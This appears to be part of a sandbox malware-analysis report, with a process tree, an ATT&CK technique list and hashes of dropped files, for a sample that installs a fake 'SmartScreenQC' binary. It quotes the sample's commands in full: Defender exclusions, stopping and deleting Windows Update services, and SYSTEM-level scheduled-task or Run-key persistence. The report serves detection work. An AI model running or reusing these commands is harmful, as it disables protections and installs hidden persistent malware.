        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:208
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4520
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1408 -s 296
    3⤵
    - Program crash
    PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3816
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3124
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4176
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4700
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4112
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4608
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:492
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2576
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4028
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC
    3⤵
    PID:3804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1520
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1788
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3844
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2364
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5024
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2572
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3696
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:460
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3076
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3748
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:492
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2368
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe ovyftblehadxh
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1764
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:2440
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3052
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe dazvaqbeggbsgujt t6LwBRlc8qbtn+S5edf1ezu1qg1/aKcGYSxFIj/0TNkbKBSbPLtgEBK99bf0068EmXzRjCY0Tc/aZmIF/dfl5jv4YAc8zijrMoyllSiLbkoinjyXaTUoKGS8Kv2uDlBorNHIIcL5wDMa1R1oUhBYJRV1uc6NyC75UB0MGYCDZQtI32KUBvaR0+S3GkcEP42eoiWj8Tcc9Vkh0SgfA7/rMQYirEN46iWX0/8v6TDAkjqj7PVnHA5O3wB1L8l0abCaB9AqSTVcMtJllWwlcNeB4b+v6sF7sW3cjkA+hu2CnDN8Ui5zat8yuFUXot7llgM99YJhRnUcfr58da5seqyKy8tX/Q1+54DmUM8q1BHcoQrVXYP7rbx9tG+E6XGQNljX1u4yy5UZp14lElA6U0qsHoZHcGZaJ43L6It6KRvDKG0Qf9RIwYIF5aKwqZ+1M0muGICP3ULw1Wf9GRPOgBrz6Z1cm3oT4aO7cYSq3XPpgYQb4JzQCWVqCnuWALGOwk0k573yzlTlpvQDgAmVESnv37odCTKMU7+IOWgndQ1scgX8zZRktEHoLSnrm9ZlirpbPDg1UpakH/gG/WatvIShiVwpEkxY3GhXsFMiazOw2co/qH6C4QK8Rs21h50trApiIkxRKI5MURZO5fNuI0f110oivx/Mzvgox4UDHqrmga3TRRIjtZOF5SnXhnA50JoU/lobkJv0JiMAHTInusQkOLPML9FzWw7r3DOyHP80NEkNAbePE+WvRTEz/IdM+gDiNhVz1ijVkuiH5+HmeQV1AAaWlHTQsGamRX3Dxgn3SDlcee7MbQU6GEpfnq2+elFLjJEOlsHXfi9u5H5NRK/syz42NzVJA+Y8ych6dptI0FP46dCU6cBgGuBfPuTaYFz9/Z3aKco+NHeFIFgSUthckNBg6Qoaa+/JBj6y1fwE+BE5ZN4TQMlFLu9jYC1xykiHTgKyWVcKJWrrfzK+/kAX9D2xKNXjgLr+pILlxisJXBGgbVZgj2kKuSm0Jbe/wi9Jc06Ofzng4Mv/8gfOEFr1uwLSUneA7zqW/k/q8aTfRskixRqkZyTz1XhbEK2NT8dwxrXxJhtvTPqd3jbn+OJ3qXB6F+f0LzPL2PGItFR9gdXeVwjWc0LIM0CxIxGgHX3Xxgp5eDIn1Gdq/e8rPI/ZQcDhBO4uZwvps4vSkUwrO4t9CyHCWEctJ/BvP3l3UVhMVs2zYcqyey5HPEeft1hOg1r2yW5xNNydEasMF0140Ty/TJFRWR10uRsF7bqYOeEtUI2DkYm9Phl7ou+15Wt6eKhWAiKClqttC10uOGhsNMDUK6VcOdYhu9N/bxbvik6NOHeW900Eq3G4PlVCGTIjq2dEcOK4PcCsMWsHUHbnkt3nI5vpTCC4NJ917rykfKEeGNi2XyTTCxEmMH/GVkHhDJtMgnXwCEdoHrXvZyUEOzAhVpqogDsLTdu/5D+iGViAJE3fyFexs0dejtBETGKSy/wNhL3XVFJ+6e/PKCRLzNpaB/HAy9JUGXm6lgHMJwpGwadZmEJrWCCbLNr0d/hwN9WLwG+5QQMYzVYn3nroCdmC+suLNri3fjanwjSVe7/HjIz3O/g0eJKme0MbfExdCa8r7ITDEu49oK2sXxpWhhPTyE4uhg6YFol2aIJtckBKflTfaO4/SD4Zv2c7PssGlupvkwIX2kqkyC0e1f3q6Q3/iFpWrAjFvK8kyiYlovEUgJMsNGuTmI+fhlZVSi7phSPRYtN+sMAKbhrxTUqqWBNiSvMIkACgr38X3Lt5BPZb79N2qCTdX1JT/c3Vi3UVbCIh9t9axLU9HHUOTEgSKKU0OftMO9vS6arcTiyG8FKDpByM56WeMuE72JeJjdSasWaaJSZEw7rZyMfs/qRHTzo/r20HYoSPhiTcQnj/N8GExPeqw+xuGmhQ+XzAxsQ3j52Fkev2sVRAgvC2ZwjWUuK431gRgGbhcxUPnRO8YYtHG1oxY/QATAnZWWjvr6JmquZMpkoVtvkxZe+y1lb1fis9oo03dwIeYDxfyUu4PKknpUI8CNNyZXfD67RT6KGitAnRLvjRv85ZhsyACUnrMfho5hN5io37LokrY8D9Wfk+4gAZPaAAlP1VK8GCxms565h7InvL0Q18y8wEVoYGo4hgWGm0um3Dl8FIwQBu4v5Z6d0lx4wwsM6itFC1IuK5nZ6uSfS+/1R/FdRycQ1FJ7RhkX9e7daj8esTPVy+u73lRmIINDjU1xqMa5Wigr4KWCk7RzgyH6aINayl38MtoRzrlXB9KUOUVYFFAP/rfT2EJfY9tVYuLkvRMsUXp3vmyD3E2+GoyTuWWq/CQKfcowg/YefTOCaHK04CVXX95IQrXytcxSD9KRsQFaY9OXnUq7fQHYQL1Q03Vu+PSBxCMMLGZVUYlhn7CnG8/HM6RtgZHN3CH6irOvVfZ/FfFPGdv7zR0hRv9DNpbcH3njL8cX3agp8Kpx4LT6HZmNdqP0zfpeltpPMMivNoHHKKzqQVEj5tygNdT1ukyUin1Fc4KTW5twA0BnWaYrSgixQbhkr6fKa1a8yBNzdS6lolDhuembolwrfkEQG+nxobHHer54QKWt5SzXXqbdVICIWPFtFK51SOEFto3zElG+geZES/rQTmQ9ecNCdDaul2VweZQSvlH6jotB51Jo29q/ZoWK+1WuatXxxbL7J69dZ/0llo7Uet0/1pn0ftUXoJWaw2Wm/SAic/rLwP8XwcwSb8+iHe1dGTYhV5nhdX2u+dp+hwvPs/dCOAaKdZX4MeUOwoEI6AqCV0IXEDOdqL4R8Wi8EGWcfRHq+E2uGUlh0xLPJtlqF+B8MnMqSBeVmioROoYQBopE75bX+PNTYPIh6MS8Y3o2sKTR6zIlwM/UOky8XFIylC21B9EmYwIHFExnp3Lqs2C0HnKlLlLXnADFaOhNSvJiEJh+sPBdaIs3aqVtA/uyildKdWzikSSB+V6lrHaWT7/e9Wp0bJJ/UQKFaAvi1UjUEGjCkhwcn4c18U90tc2+FNNigTdDXAwmaHynhRmVL0XqfvvO7YN/SMR6YK2WDs3uV2e86XxBOmcn6QqS6GSRFAVTU9WURTonksrNuXWv4d2LcYfhqry0V1hht1w1GZ824fCOPQLi0R0UcM1oVHsSTSv7hNT3oAKZmpN0dJYYBlWlU8DHaVM8oJAwf4ul3utMwFalhY35gTStLqWxS/NTQ+W4R/7TKUlwBqtOuNYRlw3Af466svZ/JC92aaMkNi0m6c4FeaswNptKkBaxZ56ivEdyUK0trtPzjt3peUDj0TXh4u2bRoxbzqa4GKnXdewHKdu32Jq1iAtwzoeFKiMtTVe3CTL/wSD4Fr3dJVOl/YITAYYGiWkeRzKkCbRbyg3k7cpQVO4LKB5SLlOab3M5rfjv+w2tNK3mVe9+PuMdY1x/rJ5LL0VLTaMuPHMRX9uj9Jwz5cUO8Dv3UQx9sTQ9HCpdTjDfMMcr5lOFG1Pu6f9RACOp4I5NgO4Z2jIcd2xGPTVvpYWZRij3S4If35PqLXkh/94CoytC9KzxR2XMfGj2/826bjSyDHaoW7cnqTwyzAz1ouvhN+uQCF/lJvTF3fzbm7B6VbQrZ5ri3GX5tYZsuylxzOlTDCJZZRfh08e3Jsz5Lxb9kaKVcbAX14rPZmjEclLeTvZmNzQ7BrFOvGU6CW5XBj2eYQbGoKumd2XN0DNJpXUpNPf0jiH+3kthLqtaKpxl3+zXB2550JrnSGtr+Q6xpIO9GEh0AFAllnOWaPioXKc1EhkCs4jeUmTZkEriGTqYcYPtvIDkU9vEDcZYlWWf5HXmPEZ9RwDTVCwdxUJw2G4eGkMkz4WaX32mWkQQGtj+V0PPmBnJpInd4/N3vVsm06vLI0nTrg7VI05t0qxc1qelNvqUh/FJGpeNuPNRqLoPFDxBCectrCbmXU3nT75E2kS5IMEiaDw+9n2pznnP7xx9nVk7hjMJfKvo91z540OrKd55TELYLFmTh375d70mxtgk+BBrNgke6VmGBuruaBC1kZmd03viIR3ncmcIMsUV68e0SK3M3QxdwLizc04cfUGokuvRrn1+OyApWgRzv1VWs0pE9D8/O6Bi0Kie2YydO0evkpXX9goMFQ+L3+ZNebP3JFhe8JaJL+YMuFvvtajpfdWn+4CcvNy374bQ6DcrxkzdJrvaHiEc1hVLSXA5F8KlnatIRdidGCpEIvV+nuLzmwkmiJSOWuqCGAMHiCeL4+KptGM5HaPC1qFtNkC+m6Ke+9/lNAu3qg7HzX1UA/30luGdmK4mdmfeo0Mvm0bxo0ZOxX65zwG3AjDhtLxVOyvjuqlK9O2MvS7YSPlTfrUsLN0v06/dGlQWQkt7jl/cywYCNz5bcsTHvtXrTWyd+TYlLzAXQ0pFvq7BTUxlqcu+WkxRGbEo3/d6VB7la2eHK46gXED8W16aqPk+nPgZMYtR5o4mlYZ9fLX0TYo0Pl8FG5dXd7nK1qWIUWQW/6HtCB0LdF+YsFc1hxWg4PpTZ9kqfctjaQkCfDSKB7ok13XyNbHWB9b+7kIDIEocw+RE+m+qwgDeUtfLg8NBtIbuP8vhjG9HvJ1CoEfn8QBBHz1lsN/IZwFaMrhvTirDI/Ed/71JBIBBePiXwIX2a144zA9O+jSw92xv+4VqWPxrdlsa1sG6DIpBCb5kS3rMVNSbx0ej6XeXdjkMAIlZNVUlkDBPqEm871/3WiEF1z7WjNllxFwih21Wpu+dScCVAIxZcfDCR27w10GDyGmnxyoK7YeQuRnBA23oNz6SPlGs+Hr7B7Bcjzbe5oekfxwIa1mU3/KH3nuDT9LLqicIbQkucemXTKEJkjUwIk2iMMLinz194tmWzsZcw6l89c1wtUF8/NbhtxfEmtIjU=
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Suspicious use of UnmapMainImage
PID:2700

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4992
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1408 -ip 1408
  2⤵
  PID:4952
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 540 -p 3452 -ip 3452
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:3808
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 524 -p 3344 -ip 3344
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:3076
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 576 -p 3316 -ip 3316
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:1512

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4004

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4072

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3316
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3316 -s 728
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

Modify Registry

Scripting

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

SmartScreenQC.exe

Path C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
Size 3.7MB
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmartScreenQC.exe

Path C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
Size 3.7MB
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC70A.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC70A.tmp.csv
Size 36KB
SHA256 690e2fd7eb0fe9edcdbb14129a2a42a21d7d58bb65fca0584a304f1c811d32e4
MD5 7808a03d2ee7889673c898fb537af28c
SHA1 3d27f173d7fc854dd67ba419d21da2f2c0096eb9
SHA512 604455239d3f53bce6485be93a4f24d254076b1d44bf110a0d8d3c026cf5faa5f03e5c5b3b0c5c37dafe1e4052d894e8c6d527ad603455667e3bee8abcdbcd84
SSDEEP 768:p2WTNfpCULsYFsQEwH6s3Lc0S2ZynnMNemVSKZjonx:pRTdsULsYFsUas3LFVMn6VBjonx
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERC73A.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC73A.tmp.txt
Size 13KB
SHA256 83937ee64baf9069014325617fa9e25b65993b3a8650ac37659735315a5d1385
MD5 5e8115503bb3e820d2a00b5b96d704fd
SHA1 2e8ebe130b3c11ca75f4172d4a65c474c277df6c
SHA512 01aeb268116f6f75c10dea043cb8318d8513445eaa6f5ef14dd7dd6dce324dea1619bb804a3c314913ded136720521959fe133beee72aa4a46a39be777596816
SSDEEP 96:4ie1t+pwhgDYZY1HWpbHsYEZn6t+ixFwibwVm0ab33M3Vx4nI9qhZ:Ne1tYOKWebDab33M3rV9qhZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERE273.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERE273.tmp.csv
Size 39KB
SHA256 0dcb266ad8915392230b33c410603329dc9a48930aa1dd78baf2b096f679945d
MD5 37b4e1ab6c9922cdef0021656330db30
SHA1 da4c479e2fcf78b30e631c76eb7554d8d36ad7df
SHA512 6ed2cf0de7ec21eedbc5bf1faadb0b2c9054f6df652d9fb5e422eb5a69bf8dc9973fc0c7cd695267190c96b3378608b3bc98c1b294924f095cf51612315f6949
SSDEEP 768:xhrZtS7+gsJ6SEc+dAmY3XlanjBxlbebX3vxGdmccHmZLn:xhrZw6gsJ63c+dAfnQnj6X3vxGdmcmur
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERE2A2.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2A2.tmp.csv
Size 39KB
SHA256 35287f93a9127f5c337228230e6ed3adc77b79ca4490646012b48ae634d6ceac
MD5 5f05505243a8ac770a3ee7f8c281b86e
SHA1 df36e220adf8bb54d5226aa02bf140ebc7339d92
SHA512 22eae286613775743f8859b5b51d67072da865605eedc9c8728d3ceeec5f66ae94d070dfa4415aefb34b39bd3c8a43766605311931fd7b6f5d85f5651583cfaf
SSDEEP 768:+hWZY07+gsJ6SEc+dAmY3XlanjBxlbebX3vxGtmccHmZL3:+hWZR6gsJ63c+dAfnQnj6X3vxGtmcmu7
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERE2C3.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2C3.tmp.txt
Size 13KB
SHA256 cfd4783c6834524fa743892f247baf694d3b63a23a781198fdfd62d3a038e108
MD5 5d79b02d597fbf935c08604d82658fb4
SHA1 5b22ca68571d7838f80b7397b35a49a50cae8a8e
SHA512 122010d2f426fcfb27ebcef54d26d3676a85fa0570566cb1864bc5c14fdd154789bb08071c535777ffa8b86c0dd27ea660161a6b1c8257c4acc0ba6d64c93aa1
SSDEEP 96:4ie1nLNi9PNHYd0YAW1H8YEZ5Ct+itFhj8ZwpypPaY+37MJVxzIXhH:Ne1nLi1RxECaR37MJr8XhH
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERE2F3.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2F3.tmp.txt
Size 13KB
SHA256 be21bf00b3e20f4ca59a2f56fedea6da3e80bbe30e1319d5a45c3a26ec527c5f
MD5 e0b449c693075574ce07ceba4f98ee95
SHA1 e83225a5de817284eaca742bb762b59dd32fba62
SHA512 c19227297945059e1aa4626979c421a0afddc21d9055aca44fdc1ad165a401566f467250075f55dd1544786edf5949c13ee48e7517f9bb7654bf6d17c9642910
SSDEEP 96:4ie1nLJUtrCAFYOEY3W1H/YEZWPgt+iXFhj8wwwykan3wMuVxzIuhH:Ne1nLaDFMsC3an3wMur8uhH
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 a5aa131694ef6462212e4242aee09fa07a9bc9b542d0124af66b167309221d42
MD5 a928d67480368a38ebd055fcb4d4c962
SHA1 f3b9940cdc0c0712905cce9b58c3cb5d85505f6e
SHA512 65db391202d41d8755a6104d3540178f533dedfb3b31cad80b516c84235eee5496b4c75495c3382ef12a7af7789fd7f80d1f6c14da75f957582e8a79dc35481d
SSDEEP 384:/sf++8/9i+UHm5YJRU0kMo9o2TVK6seY+Z7/PNA3SovA4H3lTFazCvrQ0gc9hQKK:0fg4HQY7gxo2TVNBtYSq1TIzCnnPc
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

